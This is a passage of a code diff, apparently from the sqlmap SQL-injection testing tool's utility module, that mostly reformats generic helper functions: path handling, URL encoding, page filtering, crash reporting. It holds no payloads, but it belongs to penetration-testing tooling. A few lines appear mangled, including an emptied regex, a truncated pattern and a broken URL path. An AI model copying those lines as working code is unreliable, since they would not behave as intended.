ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else re.sub(r"\A/{2,}", "/", + posixpath.normpath(retVal)) return retVal + def safeFilepathEncode(filepath): """ Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading) @@ -2144,6 +2248,7 @@ def safeExpandUser(filepath): return retVal + def safeStringFormat(format_, params): """ Avoids problems with inappropriate string format strings @@ -2192,11 +2297,13 @@ def safeStringFormat(format_, params): if match: if count >= len(params): warnMsg = "wrong number of parameters during string formatting. " - warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) + warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % ( + format_, params, retVal, DEV_EMAIL_ADDRESS) raise SqlmapValueException(warnMsg) else: try: - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], + retVal, 1) except re.error: retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1) count += 1 @@ -2207,6 +2314,7 @@ def safeStringFormat(format_, params): return retVal + def getFilteredPageContent(page, onlyText=True, split=" "): """ Returns filtered page content without script, style and/or comments @@ -2220,12 +2328,15 @@ def getFilteredPageContent(page, onlyText=True, split=" "): # only if the page's charset has been successfully identified if isinstance(page, six.text_type): - retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) + retVal = re.sub( + r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), + split, page) retVal = re.sub(r"%s{2,}" % split, split, retVal) retVal = htmlUnescape(retVal.strip().strip(split)) return retVal + def getPageWordSet(page): """ Returns word set used in page content @@ -2242,6 +2353,7 @@ def getPageWordSet(page): return retVal + def showStaticWords(firstPage, secondPage, minLength=3): """ Prints words appearing in two different response pages @@ -2280,6 +2392,7 @@ def showStaticWords(firstPage, secondPage, minLength=3): return commonWords + def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter @@ -2292,6 +2405,7 @@ def isWindowsDriveLetterPath(filepath): return re.search(r"\A[\w]\:", filepath) is not None + def posixToNtSlashes(filepath): """ Replaces all occurrences of Posix slashes in provided @@ -2303,6 +2417,7 @@ def posixToNtSlashes(filepath): return filepath.replace('/', '\\') if filepath else filepath + def ntToPosixSlashes(filepath): """ Replaces all occurrences of NT backslashes in provided @@ -2314,6 +2429,7 @@ def ntToPosixSlashes(filepath): return filepath.replace('\\', '/') if filepath else filepath + def isHexEncodedString(subject): """ Checks if the provided string is hex encoded @@ -2326,6 +2442,7 @@ def isHexEncodedString(subject): return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None + @cachedmethod def getConsoleWidth(default=80): """ @@ -2361,6 +2478,7 @@ def getConsoleWidth(default=80): return width or default + def shellExec(cmd): """ Executes arbitrary shell command @@ -2372,7 +2490,8 @@ def shellExec(cmd): retVal = "" try: - retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" + retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[ + 0] or "" except Exception as ex: retVal = getSafeExString(ex) finally: @@ -2380,6 +2499,7 @@ def shellExec(cmd): return retVal + def clearConsoleLine(forceOutput=False): """ Clears current console line @@ -2390,6 +2510,7 @@ def clearConsoleLine(forceOutput=False): kb.prependFlag = False + def parseXmlFile(xmlFile, handler): """ Parses XML file by a given handler @@ -2404,6 +2525,7 @@ def parseXmlFile(xmlFile, handler): errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) + def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory @@ -2417,7 +2539,8 @@ def getSQLSnippet(dbms, sfile, **variables): elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile): filename = "%s.sql" % sfile else: - filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) + filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], + sfile if sfile.endswith('.sql') else "%s.sql" % sfile) checkFile(filename) retVal = readCachedFileContent(filename) @@ -2436,7 +2559,8 @@ def getSQLSnippet(dbms, sfile, **variables): variables = re.findall(r"(? 1 else "", ", ".join(variables), sfile) + errMsg = "unresolved variable%s '%s' in SQL file '%s'" % ( + "s" if len(variables) > 1 else "", ", ".join(variables), sfile) logger.error(errMsg) msg = "do you want to provide the substitution values? [y/N] " @@ -2449,6 +2573,7 @@ def getSQLSnippet(dbms, sfile, **variables): return retVal + def readCachedFileContent(filename, mode="rb"): """ Cached reading of file content (avoiding multiple same file reading) @@ -2471,6 +2596,7 @@ def readCachedFileContent(filename, mode="rb"): return kb.cache.content[filename] + def average(values): """ Computes the arithmetic mean of a list of numbers. @@ -2481,6 +2607,7 @@ def average(values): return (1.0 * sum(values) / len(values)) if values else None + @cachedmethod def stdev(values): """ @@ -2499,6 +2626,7 @@ def stdev(values): _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values) return sqrt(_ / (len(values) - 1)) + def calculateDeltaSeconds(start): """ Returns elapsed time from start till now @@ -2509,6 +2637,7 @@ def calculateDeltaSeconds(start): return time.time() - start + def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature @@ -2536,6 +2665,7 @@ def initCommonOutputs(): if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) + def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file @@ -2578,6 +2708,7 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un return retVal if not unique else list(retVal.keys()) + def goGoodSamaritan(prevValue, originalCharset): """ Function for retrieving parameters needed for common prediction (good @@ -2646,6 +2777,7 @@ def goGoodSamaritan(prevValue, originalCharset): else: return None, None, None, originalCharset + def getPartRun(alias=True): """ Goes through call stack and finds constructs matching @@ -2683,6 +2815,7 @@ def getPartRun(alias=True): else: return retVal + def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences @@ -2710,6 +2843,7 @@ def longestCommonPrefix(*sequences): return sequences[0] + def commonFinderOnly(initial, sequence): """ Returns parts of sequence which start with the given initial string @@ -2720,6 +2854,7 @@ def commonFinderOnly(initial, sequence): return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) + def pushValue(value): """ Push value to the stack (thread dependent) @@ -2742,6 +2877,7 @@ def pushValue(value): if exception: raise exception + def popValue(): """ Pop value from the stack (thread dependent) @@ -2760,6 +2896,7 @@ def popValue(): return retVal + def wasLastResponseDBMSError(): """ Returns True if the last web request resulted in a (recognized) DBMS error page @@ -2768,6 +2905,7 @@ def wasLastResponseDBMSError(): threadData = getCurrentThreadData() return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID + def wasLastResponseHTTPError(): """ Returns True if the last web request resulted in an erroneous HTTP code (like 500) @@ -2776,6 +2914,7 @@ def wasLastResponseHTTPError(): threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID + def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay @@ -2802,7 +2941,8 @@ def wasLastResponseDelayed(): msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " - kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', + boolean=True) else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) @@ -2813,6 +2953,7 @@ def wasLastResponseDelayed(): delta += 0.05 return delta >= 0 + def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval @@ -2823,13 +2964,15 @@ def adjustTimeDelay(lastQueryDuration, lowerStdLimit): kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: - if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB + if lastQueryDuration / ( + 1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB conf.timeSec = candidate infoMsg = "adjusting time delay to " infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.info(infoMsg) + def getLastRequestHTTPError(): """ Returns last HTTP error code @@ -2838,6 +2981,7 @@ def getLastRequestHTTPError(): threadData = getCurrentThreadData() return threadData.lastHTTPError[1] if threadData.lastHTTPError else None + def extractErrorMessage(page): """ Returns reported error message from page if it founds one @@ -2859,7 +3003,8 @@ def extractErrorMessage(page): if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() - if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): + if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len( + candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): retVal = candidate break @@ -2871,6 +3016,7 @@ def extractErrorMessage(page): return retVal + def findLocalPort(ports): """ Find the first opened localhost port from a given list of ports (e.g. for Tor port checks) @@ -2897,6 +3043,7 @@ def findLocalPort(ports): return retVal + def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body @@ -2925,6 +3072,7 @@ def findMultipartPostBoundary(post): return retVal + def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value @@ -2953,7 +3101,8 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C return char if char in charset else match.group(0) if spaceplus: - result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) + result = result.replace('+', + ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "") @@ -2961,6 +3110,7 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C return result + def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value @@ -3022,6 +3172,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): return result + def runningAsAdmin(): """ Returns True if the current process is run under admin privileges @@ -3051,6 +3202,7 @@ def runningAsAdmin(): return isAdmin + def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file @@ -3065,9 +3217,11 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) + def getPageTemplate(payload, place): # Cross-referenced function raise NotImplementedError + @cachedmethod def getPublicTypeMembers(type_, onlyValues=False): """ @@ -3090,6 +3244,7 @@ def getPublicTypeMembers(type_, onlyValues=False): return retVal + def enumValueToNameLookup(type_, value_): """ Returns name of a enum member with a given value @@ -3107,6 +3262,7 @@ def enumValueToNameLookup(type_, value_): return retVal + @cachedmethod def extractRegexResult(regex, content, flags=0): """ @@ -3132,6 +3288,7 @@ def extractRegexResult(regex, content, flags=0): return retVal + def extractTextTagContent(page): """ Returns list containing content from "textual" tags @@ -3150,6 +3307,7 @@ def extractTextTagContent(page): return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) + def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value @@ -3166,6 +3324,7 @@ def trimAlphaNum(value): return value + def isNumPosStrValue(value): """ Returns True if value is a string (or integer) with a positive integer representation @@ -3182,7 +3341,9 @@ def isNumPosStrValue(value): False """ - return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or ( + isinstance(value, int) and value > 0)) and int(value) < MAX_INT + @cachedmethod def aliasToDbmsEnum(dbms): @@ -3203,6 +3364,7 @@ def aliasToDbmsEnum(dbms): return retVal + def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they @@ -3261,9 +3423,11 @@ def findDynamicContent(firstPage, secondPage): kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) if len(kb.dynamicMarkings) > 0: - infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') + infoMsg = "dynamic content marked for removal (%d region%s)" % ( + len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') singleTimeLogMessage(infoMsg) + def removeDynamicContent(page): """ Removing dynamic content from supplied page basing removal on @@ -3281,10 +3445,12 @@ def removeDynamicContent(page): elif suffix is None: page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) + page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), + "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page + def filterStringValue(value, charRegex, replacement=""): """ Returns string value consisting only of chars satisfying supplied @@ -3297,10 +3463,12 @@ def filterStringValue(value, charRegex, replacement=""): retVal = value if value: - retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value) + retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), + replacement, value) return retVal + def filterControlChars(value, replacement=' '): """ Returns string value with control chars being supstituted with replacement character @@ -3311,6 +3479,7 @@ def filterControlChars(value, replacement=' '): return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) + def filterNone(values): """ Emulates filterNone([...]) functionality @@ -3326,6 +3495,7 @@ def filterNone(values): return retVal + def isDBMSVersionAtLeast(minimum): """ Checks if the recognized DBMS version is at least the version specified @@ -3353,7 +3523,8 @@ def isDBMSVersionAtLeast(minimum): retVal = None - if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: + if not any( + isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: version = Backend.getVersion().replace(" ", "").rstrip('.') correction = 0.0 @@ -3395,6 +3566,7 @@ def isDBMSVersionAtLeast(minimum): return retVal + def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema @@ -3428,7 +3600,9 @@ def parseSqliteTableSchema(value): value = re.sub(r"\(.+?\)", "", value).strip() - for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + for match in re.finditer( + r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", + decodeStringEscape(value), re.I): column = match.group(1).strip(match.group(2) or "") if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): continue @@ -3441,6 +3615,7 @@ def parseSqliteTableSchema(value): return retVal + def getTechniqueData(technique=None): """ Returns injection data for technique specified @@ -3448,6 +3623,7 @@ def getTechniqueData(technique=None): return kb.injection.data.get(technique if technique is not None else getTechnique()) + def isTechniqueAvailable(technique): """ Returns True if there is injection data which sqlmap could use for technique specified @@ -3464,6 +3640,7 @@ def isTechniqueAvailable(technique): else: return getTechniqueData(technique) is not None + def isHeavyQueryBased(technique=None): """ Returns True whether current (kb.)technique is heavy-query based @@ -3487,6 +3664,7 @@ def isHeavyQueryBased(technique=None): return retVal + def isStackingAvailable(): """ Returns True whether techniques using stacking are available @@ -3511,6 +3689,7 @@ def isStackingAvailable(): return retVal + def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available @@ -3522,7 +3701,9 @@ def isInferenceAvailable(): >>> kb.injection.data = popValue() """ - return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) + return any( + isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) + def setOptimize(): """ @@ -3532,12 +3713,14 @@ def setOptimize(): # conf.predictOutput = True conf.keepAlive = True conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads - conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) + conf.nullConnection = not any( + (conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" logger.debug(debugMsg) + def saveConfig(conf, filename): """ Saves conf to configuration filename @@ -3590,6 +3773,7 @@ def saveConfig(conf, filename): errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) + def initTechnique(technique=None): """ Prepares data for technique specified @@ -3608,7 +3792,8 @@ def initTechnique(technique=None): for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) - debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) + debugMsg = "resuming configuration option '%s' (%s)" % ( + key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": @@ -3624,6 +3809,7 @@ def initTechnique(technique=None): errMsg += "with this error" raise SqlmapNoneDataException(errMsg) + def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself @@ -3639,6 +3825,7 @@ def arrayizeValue(value): return value + def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself @@ -3668,6 +3855,7 @@ def unArrayizeValue(value): return value + def flattenValue(value): """ Returns an iterator representing flat representation of a given value @@ -3683,6 +3871,7 @@ def flattenValue(value): else: yield i + def joinValue(value, delimiter=','): """ Returns a value consisting of joined parts of a given value @@ -3700,6 +3889,7 @@ def joinValue(value, delimiter=','): return retVal + def isListLike(value): """ Returns True if the given value is a list-like instance @@ -3712,6 +3902,7 @@ def isListLike(value): return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) + def getSortedInjectionTests(): """ Returns prioritized test list by eventually detected DBMS from error messages @@ -3744,6 +3935,7 @@ def getSortedInjectionTests(): return retVal + def filterListValue(value, regex): """ Returns list with items that have parts satisfying given regular expression @@ -3759,6 +3951,7 @@ def filterListValue(value, regex): return retVal + def showHttpErrorCodes(): """ Shows all HTTP error codes raised till now @@ -3766,14 +3959,19 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) + warnMsg += ", ".join("%d (%s) - %d times" % ( + code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in + kb.httpErrorCodes.items()) logger.warning(warnMsg) - if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): + if any((str(_).startswith('4') or str(_).startswith( + '5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) -def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) + +def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", + buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename @@ -3797,10 +3995,12 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", return codecs.open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename - errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") + errMsg += "Please check %s permissions on a file " % ( + "write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process" raise SqlmapSystemException(errMsg) + def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character @@ -3829,7 +4029,8 @@ def decodeIntToUnicode(value): elif Backend.isDbms(DBMS.MSSQL): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 retVal = getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, + DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) @@ -3840,6 +4041,7 @@ def decodeIntToUnicode(value): return retVal + def checkIntegrity(): """ Checks integrity of code files during the unhandled exceptions @@ -3863,6 +4065,7 @@ def checkIntegrity(): return retVal + def getDaysFromLastUpdate(): """ Get total number of days from last update @@ -3876,6 +4079,7 @@ def getDaysFromLastUpdate(): return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) + def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception @@ -3894,14 +4098,20 @@ def unhandledExceptionMessage(): errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) - errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), + encoding=getattr(sys.stdin, + "encoding", + None))) + errMsg += "Technique: %s\n" % ( + enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ( + "DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" if Backend.getDbms() is not None: errMsg += " %s (fingerprinted)" % Backend.getDbms() - if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): + if Backend.getIdentifiedDbms() is not None and ( + Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): errMsg += " %s (identified)" % Backend.getIdentifiedDbms() if not errMsg.endswith(')'): @@ -3909,13 +4119,15 @@ def unhandledExceptionMessage(): return errMsg + def getLatestRevision(): """ Retrieves latest revision from the offical repository """ retVal = None - req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/ settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/ settings.py", + headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getUnicode(_urllib.request.urlopen(req).read()) @@ -3925,6 +4137,7 @@ def getLatestRevision(): return retVal + def fetchRandomAgent(): """ Returns random HTTP User-Agent header value @@ -3947,6 +4160,7 @@ def fetchRandomAgent(): return random.sample(kb.userAgents, 1)[0] + def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information @@ -3983,7 +4197,9 @@ def createGithubIssue(errMsg, excMsg): _excMsg = None errMsg = errMsg[errMsg.find("\n"):] - req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote( + "repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), + headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = _urllib.request.urlopen(req).read() @@ -4001,7 +4217,10 @@ def createGithubIssue(errMsg, excMsg): pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % decodeBase64(GITHUB_REPORT_OAUTH_TOKEN, binary=False), HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", + data=getBytes(json.dumps(data)), headers={ + HTTP_HEADER.AUTHORIZATION: "token %s" % decodeBase64(GITHUB_REPORT_OAUTH_TOKEN, binary=False), + HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getText(_urllib.request.urlopen(req).read()) @@ -4027,6 +4246,7 @@ def createGithubIssue(errMsg, excMsg): warnMsg += ". Please update to the latest revision" logger.warning(warnMsg) + def maskSensitiveData(msg): """ Masks sensitive data in the supplied message @@ -4049,18 +4269,22 @@ def maskSensitiveData(msg): retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): + for match in re.finditer( + r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions - retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) - retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) + retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", + lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) + retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", + lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) return retVal + def listToStrValue(value): """ Flattens list to a string value @@ -4079,6 +4303,7 @@ def listToStrValue(value): return retVal + def intersect(containerA, containerB, lowerCase=False): """ Returns intersection of the container-ized values @@ -4101,6 +4326,7 @@ def intersect(containerA, containerB, lowerCase=False): return retVal + def decodeStringEscape(value): """ Decodes escaped string values (e.g. "\\t" -> "\t") @@ -4115,6 +4341,7 @@ def decodeStringEscape(value): return retVal + def encodeStringEscape(value): """ Encodes escaped string values (e.g. "\t" -> "\\t") @@ -4129,6 +4356,7 @@ def encodeStringEscape(value): return retVal + def removeReflectiveValues(content, payload, suppressWarning=False): """ Neutralizes reflective values in a given content based on a payload @@ -4138,7 +4366,8 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content try: - if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: + if all((content, payload)) and isinstance(content, + six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * 